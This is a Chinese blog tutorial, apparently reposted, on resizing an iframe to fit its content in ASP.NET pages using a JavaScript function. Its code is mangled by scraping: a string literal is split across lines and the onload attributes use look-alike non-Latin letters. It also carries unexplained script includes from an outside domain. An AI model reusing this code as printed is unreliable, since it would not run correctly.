iframe自适应问题

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

有时候会在页面里使用框架,但又不想叫它出现滚动条,这就用到了自适应。
架设default.aspx页面里使用了Iframe,它的ID: iframe1,src指向a.aspx

< IFRAME  id ="iframe1"  name ="iframe1"  marginWidth ="0"  marginHeight ="0"  frameBorder ="0"  scrolling ="no"  src ="a.aspx"
runat
="server" ></ IFRAME >

那么在default里使用如下脚本:

function  dyniframesize(iframename) 
{
    
var pTar = null;
    
if (document.getElementById)
    
{
        pTar 
= document.getElementById(iframename);
    }

    
else{
        eval('pTar 
= ' + iframename + ';');
    }

    
if (pTar && !window.opera)
    
{
        pTar.style.display
="block"
        
if (pTar.contentDocument && pTar.contentDocument.body.offsetHeight)
        
{
            pTar.height 
= pTar.contentDocument.body.offsetHeight+10
        }

        
else if (pTar.Document && pTar.Document.body.scrollHeight)
        
{
            pTar.width 
= pTar.Document.body.scrollWidth;
            pTar.height 
= pTar.Document.body.scrollHeight;
            
        }

    }

}

在body里增加:
οnlοad="dyniframesize('iframe1')"

即可达到当我们打开default.aspx,使得a.aspx自适应大小。
还存在一个问题,当点击a.aspx里的按钮时,需要重新计算他的父页面中的iframe的大小,达到
刷新a.aspx时,页面依然自适应。
function  dyniframesize() 
{
    
var pTar = null;
    
if (document.getElementById)
    
{
//仅仅修改此句代码:        
pTar = window.parent.document.getElementById("iframe1");
    }

    
else{
        eval('pTar 
= ' + iframename + ';');
    }

    
if (pTar && !window.opera)
    
{
        pTar.style.display
="block"
        
if (pTar.contentDocument && pTar.contentDocument.body.offsetHeight)
        
{
            pTar.height 
= pTar.contentDocument.body.offsetHeight+10
        }

        
else if (pTar.Document && pTar.Document.body.scrollHeight)
        
{
            pTar.width 
= pTar.Document.body.scrollWidth;
            pTar.height 
= pTar.Document.body.scrollHeight;
            
        }

    }

}

同样在a.aspx的body里加载这个函数。
οnlοad="dyniframesize()"
文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值